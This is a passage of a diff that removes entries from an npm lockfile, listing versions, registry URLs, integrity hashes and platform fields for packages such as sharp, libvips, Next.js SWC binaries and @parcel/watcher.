- "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.34.5.tgz",
- "integrity": "sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==",
- "cpu": [
- "x64"
- ],
- "license": "Apache-2.0",
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- },
- "optionalDependencies": {
- "@img/sharp-libvips-darwin-x64": "1.2.4"
- }
- },
- "node_modules/@img/sharp-libvips-darwin-arm64": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.2.4.tgz",
- "integrity": "sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==",
- "cpu": [
- "arm64"
- ],
- "license": "LGPL-3.0-or-later",
- "optional": true,
- "os": [
- "darwin"
- ],
- "funding": {
- "url": "https://opencollective.com/libvips"
- }
- },
- "node_modules/@img/sharp-libvips-darwin-x64": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.2.4.tgz",
- "integrity": "sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==",
- "cpu": [
- "x64"
- ],
- "license": "LGPL-3.0-or-later",
- "optional": true,
- "os": [
- "darwin"
- ],
- "funding": {
- "url": "https://opencollective.com/libvips"
- }
- },
- "node_modules/@img/sharp-libvips-linux-arm": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.2.4.tgz",
- "integrity": "sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==",
- "cpu": [
- "arm"
- ],
- "license": "LGPL-3.0-or-later",
- "optional": true,
- "os": [
- "linux"
- ],
- "funding": {
- "url": "https://opencollective.com/libvips"
- }
- },
- "node_modules/@img/sharp-libvips-linux-arm64": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.2.4.tgz",
- "integrity": "sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==",
- "cpu": [
- "arm64"
- ],
- "license": "LGPL-3.0-or-later",
- "optional": true,
- "os": [
- "linux"
- ],
- "funding": {
- "url": "https://opencollective.com/libvips"
- }
- },
- "node_modules/@img/sharp-libvips-linux-ppc64": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-ppc64/-/sharp-libvips-linux-ppc64-1.2.4.tgz",
- "integrity": "sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==",
- "cpu": [
- "ppc64"
- ],
- "license": "LGPL-3.0-or-later",
- "optional": true,
- "os": [
- "linux"
- ],
- "funding": {
- "url": "https://opencollective.com/libvips"
- }
- },
- "node_modules/@img/sharp-libvips-linux-riscv64": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-riscv64/-/sharp-libvips-linux-riscv64-1.2.4.tgz",
- "integrity": "sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==",
- "cpu": [
- "riscv64"
- ],
- "license": "LGPL-3.0-or-later",
- "optional": true,
- "os": [
- "linux"
- ],
- "funding": {
- "url": "https://opencollective.com/libvips"
- }
- },
- "node_modules/@img/sharp-libvips-linux-s390x": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.2.4.tgz",
- "integrity": "sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==",
- "cpu": [
- "s390x"
- ],
- "license": "LGPL-3.0-or-later",
- "optional": true,
- "os": [
- "linux"
- ],
- "funding": {
- "url": "https://opencollective.com/libvips"
- }
- },
- "node_modules/@img/sharp-libvips-linux-x64": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.2.4.tgz",
- "integrity": "sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==",
- "cpu": [
- "x64"
- ],
- "license": "LGPL-3.0-or-later",
- "optional": true,
- "os": [
- "linux"
- ],
- "funding": {
- "url": "https://opencollective.com/libvips"
- }
- },
- "node_modules/@img/sharp-libvips-linuxmusl-arm64": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.2.4.tgz",
- "integrity": "sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==",
- "cpu": [
- "arm64"
- ],
- "license": "LGPL-3.0-or-later",
- "optional": true,
- "os": [
- "linux"
- ],
- "funding": {
- "url": "https://opencollective.com/libvips"
- }
- },
- "node_modules/@img/sharp-libvips-linuxmusl-x64": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.2.4.tgz",
- "integrity": "sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==",
- "cpu": [
- "x64"
- ],
- "license": "LGPL-3.0-or-later",
- "optional": true,
- "os": [
- "linux"
- ],
- "funding": {
- "url": "https://opencollective.com/libvips"
- }
- },
- "node_modules/@img/sharp-linux-arm": {
- "version": "0.34.5",
- "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.34.5.tgz",
- "integrity": "sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==",
- "cpu": [
- "arm"
- ],
- "license": "Apache-2.0",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- },
- "optionalDependencies": {
- "@img/sharp-libvips-linux-arm": "1.2.4"
- }
- },
- "node_modules/@img/sharp-linux-arm64": {
- "version": "0.34.5",
- "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.34.5.tgz",
- "integrity": "sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==",
- "cpu": [
- "arm64"
- ],
- "license": "Apache-2.0",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- },
- "optionalDependencies": {
- "@img/sharp-libvips-linux-arm64": "1.2.4"
- }
- },
- "node_modules/@img/sharp-linux-ppc64": {
- "version": "0.34.5",
- "resolved": "https://registry.npmjs.org/@img/sharp-linux-ppc64/-/sharp-linux-ppc64-0.34.5.tgz",
- "integrity": "sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==",
- "cpu": [
- "ppc64"
- ],
- "license": "Apache-2.0",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- },
- "optionalDependencies": {
- "@img/sharp-libvips-linux-ppc64": "1.2.4"
- }
- },
- "node_modules/@img/sharp-linux-riscv64": {
- "version": "0.34.5",
- "resolved": "https://registry.npmjs.org/@img/sharp-linux-riscv64/-/sharp-linux-riscv64-0.34.5.tgz",
- "integrity": "sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==",
- "cpu": [
- "riscv64"
- ],
- "license": "Apache-2.0",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- },
- "optionalDependencies": {
- "@img/sharp-libvips-linux-riscv64": "1.2.4"
- }
- },
- "node_modules/@img/sharp-linux-s390x": {
- "version": "0.34.5",
- "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.34.5.tgz",
- "integrity": "sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==",
- "cpu": [
- "s390x"
- ],
- "license": "Apache-2.0",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- },
- "optionalDependencies": {
- "@img/sharp-libvips-linux-s390x": "1.2.4"
- }
- },
- "node_modules/@img/sharp-linux-x64": {
- "version": "0.34.5",
- "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.34.5.tgz",
- "integrity": "sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==",
- "cpu": [
- "x64"
- ],
- "license": "Apache-2.0",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- },
- "optionalDependencies": {
- "@img/sharp-libvips-linux-x64": "1.2.4"
- }
- },
- "node_modules/@img/sharp-linuxmusl-arm64": {
- "version": "0.34.5",
- "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.34.5.tgz",
- "integrity": "sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==",
- "cpu": [
- "arm64"
- ],
- "license": "Apache-2.0",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- },
- "optionalDependencies": {
- "@img/sharp-libvips-linuxmusl-arm64": "1.2.4"
- }
- },
- "node_modules/@img/sharp-linuxmusl-x64": {
- "version": "0.34.5",
- "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.34.5.tgz",
- "integrity": "sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==",
- "cpu": [
- "x64"
- ],
- "license": "Apache-2.0",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- },
- "optionalDependencies": {
- "@img/sharp-libvips-linuxmusl-x64": "1.2.4"
- }
- },
- "node_modules/@img/sharp-wasm32": {
- "version": "0.34.5",
- "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.34.5.tgz",
- "integrity": "sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==",
- "cpu": [
- "wasm32"
- ],
- "license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT",
- "optional": true,
- "dependencies": {
- "@emnapi/runtime": "^1.7.0"
- },
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- }
- },
- "node_modules/@img/sharp-win32-arm64": {
- "version": "0.34.5",
- "resolved": "https://registry.npmjs.org/@img/sharp-win32-arm64/-/sharp-win32-arm64-0.34.5.tgz",
- "integrity": "sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==",
- "cpu": [
- "arm64"
- ],
- "license": "Apache-2.0 AND LGPL-3.0-or-later",
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- }
- },
- "node_modules/@img/sharp-win32-ia32": {
- "version": "0.34.5",
- "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.34.5.tgz",
- "integrity": "sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==",
- "cpu": [
- "ia32"
- ],
- "license": "Apache-2.0 AND LGPL-3.0-or-later",
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- }
- },
- "node_modules/@img/sharp-win32-x64": {
- "version": "0.34.5",
- "resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.34.5.tgz",
- "integrity": "sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==",
- "cpu": [
- "x64"
- ],
- "license": "Apache-2.0 AND LGPL-3.0-or-later",
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- }
- },
- "node_modules/@isaacs/cliui": {
- "version": "8.0.2",
- "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz",
- "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==",
- "dependencies": {
- "string-width": "^5.1.2",
- "string-width-cjs": "npm:string-width@^4.2.0",
- "strip-ansi": "^7.0.1",
- "strip-ansi-cjs": "npm:strip-ansi@^6.0.1",
- "wrap-ansi": "^8.1.0",
- "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/@isaacs/cliui/node_modules/ansi-regex": {
- "version": "6.1.0",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
- "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-regex?sponsor=1"
- }
- },
- "node_modules/@isaacs/cliui/node_modules/strip-ansi": {
- "version": "7.1.0",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
- "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
- "dependencies": {
- "ansi-regex": "^6.0.1"
- },
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/strip-ansi?sponsor=1"
- }
- },
- "node_modules/@jridgewell/gen-mapping": {
- "version": "0.3.8",
- "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.8.tgz",
- "integrity": "sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==",
- "dependencies": {
- "@jridgewell/set-array": "^1.2.1",
- "@jridgewell/sourcemap-codec": "^1.4.10",
- "@jridgewell/trace-mapping": "^0.3.24"
- },
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/@jridgewell/resolve-uri": {
- "version": "3.1.2",
- "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
- "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/@jridgewell/set-array": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.2.1.tgz",
- "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==",
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/@jridgewell/sourcemap-codec": {
- "version": "1.5.0",
- "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz",
- "integrity": "sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ=="
- },
- "node_modules/@jridgewell/trace-mapping": {
- "version": "0.3.25",
- "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz",
- "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==",
- "dependencies": {
- "@jridgewell/resolve-uri": "^3.1.0",
- "@jridgewell/sourcemap-codec": "^1.4.14"
- }
- },
- "node_modules/@mdx-js/mdx": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/@mdx-js/mdx/-/mdx-3.1.0.tgz",
- "integrity": "sha512-/QxEhPAvGwbQmy1Px8F899L5Uc2KZ6JtXwlCgJmjSTBedwOZkByYcBG4GceIGPXRDsmfxhHazuS+hlOShRLeDw==",
- "dependencies": {
- "@types/estree": "^1.0.0",
- "@types/estree-jsx": "^1.0.0",
- "@types/hast": "^3.0.0",
- "@types/mdx": "^2.0.0",
- "collapse-white-space": "^2.0.0",
- "devlop": "^1.0.0",
- "estree-util-is-identifier-name": "^3.0.0",
- "estree-util-scope": "^1.0.0",
- "estree-walker": "^3.0.0",
- "hast-util-to-jsx-runtime": "^2.0.0",
- "markdown-extensions": "^2.0.0",
- "recma-build-jsx": "^1.0.0",
- "recma-jsx": "^1.0.0",
- "recma-stringify": "^1.0.0",
- "rehype-recma": "^1.0.0",
- "remark-mdx": "^3.0.0",
- "remark-parse": "^11.0.0",
- "remark-rehype": "^11.0.0",
- "source-map": "^0.7.0",
- "unified": "^11.0.0",
- "unist-util-position-from-estree": "^2.0.0",
- "unist-util-stringify-position": "^4.0.0",
- "unist-util-visit": "^5.0.0",
- "vfile": "^6.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/@microsoft/clarity": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/@microsoft/clarity/-/clarity-1.0.0.tgz",
- "integrity": "sha512-2QY6SmXnqRj6dWhNY8NYCN3e53j4zCFebH4wGnNhdGV1mqAsQwql2fT0w8TISxCvwwfVp8idsWLIdrRHOms1PQ=="
- },
- "node_modules/@next/env": {
- "version": "15.5.9",
- "resolved": "https://registry.npmjs.org/@next/env/-/env-15.5.9.tgz",
- "integrity": "sha512-4GlTZ+EJM7WaW2HEZcyU317tIQDjkQIyENDLxYJfSWlfqguN+dHkZgyQTV/7ykvobU7yEH5gKvreNrH4B6QgIg==",
- "license": "MIT"
- },
- "node_modules/@next/eslint-plugin-next": {
- "version": "13.5.1",
- "resolved": "https://registry.npmjs.org/@next/eslint-plugin-next/-/eslint-plugin-next-13.5.1.tgz",
- "integrity": "sha512-LBlI3iQvlzRE7Y6AfIyHKuM4T6REGmFgweN2tBqEUVEfgxERBLOutV2xckXEp3Y3VbfJBBXKZNfDzs20gHimSg==",
- "dependencies": {
- "glob": "7.1.7"
- }
- },
- "node_modules/@next/swc-darwin-arm64": {
- "version": "15.5.7",
- "resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-15.5.7.tgz",
- "integrity": "sha512-IZwtxCEpI91HVU/rAUOOobWSZv4P2DeTtNaCdHqLcTJU4wdNXgAySvKa/qJCgR5m6KI8UsKDXtO2B31jcaw1Yw==",
- "cpu": [
- "arm64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-darwin-x64": {
- "version": "15.5.7",
- "resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-15.5.7.tgz",
- "integrity": "sha512-UP6CaDBcqaCBuiq/gfCEJw7sPEoX1aIjZHnBWN9v9qYHQdMKvCKcAVs4OX1vIjeE+tC5EIuwDTVIoXpUes29lg==",
- "cpu": [
- "x64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-linux-arm64-gnu": {
- "version": "15.5.7",
- "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-15.5.7.tgz",
- "integrity": "sha512-NCslw3GrNIw7OgmRBxHtdWFQYhexoUCq+0oS2ccjyYLtcn1SzGzeM54jpTFonIMUjNbHmpKpziXnpxhSWLcmBA==",
- "cpu": [
- "arm64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-linux-arm64-musl": {
- "version": "15.5.7",
- "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-15.5.7.tgz",
- "integrity": "sha512-nfymt+SE5cvtTrG9u1wdoxBr9bVB7mtKTcj0ltRn6gkP/2Nu1zM5ei8rwP9qKQP0Y//umK+TtkKgNtfboBxRrw==",
- "cpu": [
- "arm64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-linux-x64-gnu": {
- "version": "15.5.7",
- "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-15.5.7.tgz",
- "integrity": "sha512-hvXcZvCaaEbCZcVzcY7E1uXN9xWZfFvkNHwbe/n4OkRhFWrs1J1QV+4U1BN06tXLdaS4DazEGXwgqnu/VMcmqw==",
- "cpu": [
- "x64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-linux-x64-musl": {
- "version": "15.5.7",
- "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-15.5.7.tgz",
- "integrity": "sha512-4IUO539b8FmF0odY6/SqANJdgwn1xs1GkPO5doZugwZ3ETF6JUdckk7RGmsfSf7ws8Qb2YB5It33mvNL/0acqA==",
- "cpu": [
- "x64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-win32-arm64-msvc": {
- "version": "15.5.7",
- "resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-15.5.7.tgz",
- "integrity": "sha512-CpJVTkYI3ZajQkC5vajM7/ApKJUOlm6uP4BknM3XKvJ7VXAvCqSjSLmM0LKdYzn6nBJVSjdclx8nYJSa3xlTgQ==",
- "cpu": [
- "arm64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-win32-x64-msvc": {
- "version": "15.5.7",
- "resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-15.5.7.tgz",
- "integrity": "sha512-gMzgBX164I6DN+9/PGA+9dQiwmTkE4TloBNx8Kv9UiGARsr9Nba7IpcBRA1iTV9vwlYnrE3Uy6I7Aj6qLjQuqw==",
- "cpu": [
- "x64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/third-parties": {
- "version": "15.1.7",
- "resolved": "https://registry.npmjs.org/@next/third-parties/-/third-parties-15.1.7.tgz",
- "integrity": "sha512-wDAh/gW+WFT7jPYmGEGtNeLC74D8+hu3S6YJOpcfC/6uBMSC7yjh0QW1/RPYKziVnjqe6O4jR0AhbN0uuS8CZw==",
- "dependencies": {
- "third-party-capital": "1.0.20"
- },
- "peerDependencies": {
- "next": "^13.0.0 || ^14.0.0 || ^15.0.0",
- "react": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0"
- }
- },
- "node_modules/@nodelib/fs.scandir": {
- "version": "2.1.5",
- "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
- "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
- "dependencies": {
- "@nodelib/fs.stat": "2.0.5",
- "run-parallel": "^1.1.9"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/@nodelib/fs.stat": {
- "version": "2.0.5",
- "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
- "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/@nodelib/fs.walk": {
- "version": "1.2.8",
- "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
- "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
- "dependencies": {
- "@nodelib/fs.scandir": "2.1.5",
- "fastq": "^1.6.0"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/@nolyfill/is-core-module": {
- "version": "1.0.39",
- "resolved": "https://registry.npmjs.org/@nolyfill/is-core-module/-/is-core-module-1.0.39.tgz",
- "integrity": "sha512-nn5ozdjYQpUCZlWGuxcJY/KpxkWQs4DcbMCmKojjyrYDEAGy4Ce19NN4v5MduafTwJlbKc99UA8YhSVqq9yPZA==",
- "engines": {
- "node": ">=12.4.0"
- }
- },
- "node_modules/@parcel/watcher": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/@parcel/watcher/-/watcher-2.5.1.tgz",
- "integrity": "sha512-dfUnCxiN9H4ap84DvD2ubjw+3vUNpstxa0TneY/Paat8a3R4uQZDLSvWjmznAY/DoahqTHl9V46HF/Zs3F29pg==",
- "dev": true,
- "hasInstallScript": true,
- "optional": true,
- "dependencies": {
- "detect-libc": "^1.0.3",
- "is-glob": "^4.0.3",
- "micromatch": "^4.0.5",
- "node-addon-api": "^7.0.0"
- },
- "engines": {
- "node": ">= 10.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/parcel"
- },
- "optionalDependencies": {
- "@parcel/watcher-android-arm64": "2.5.1",
- "@parcel/watcher-darwin-arm64": "2.5.1",
- "@parcel/watcher-darwin-x64": "2.5.1",
- "@parcel/watcher-freebsd-x64": "2.5.1",
- "@parcel/watcher-linux-arm-glibc": "2.5.1",
- "@parcel/watcher-linux-arm-musl": "2.5.1",
- "@parcel/watcher-linux-arm64-glibc": "2.5.1",
- "@parcel/watcher-linux-arm64-musl": "2.5.1",
- "@parcel/watcher-linux-x64-glibc": "2.5.1",
- "@parcel/watcher-linux-x64-musl": "2.5.1",
- "@parcel/watcher-win32-arm64": "2.5.1",
- "@parcel/watcher-win32-ia32": "2.5.1",
- "@parcel/watcher-win32-x64": "2.5.1"
- }
- },
- "node_modules/@parcel/watcher-android-arm64": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.1.tgz",
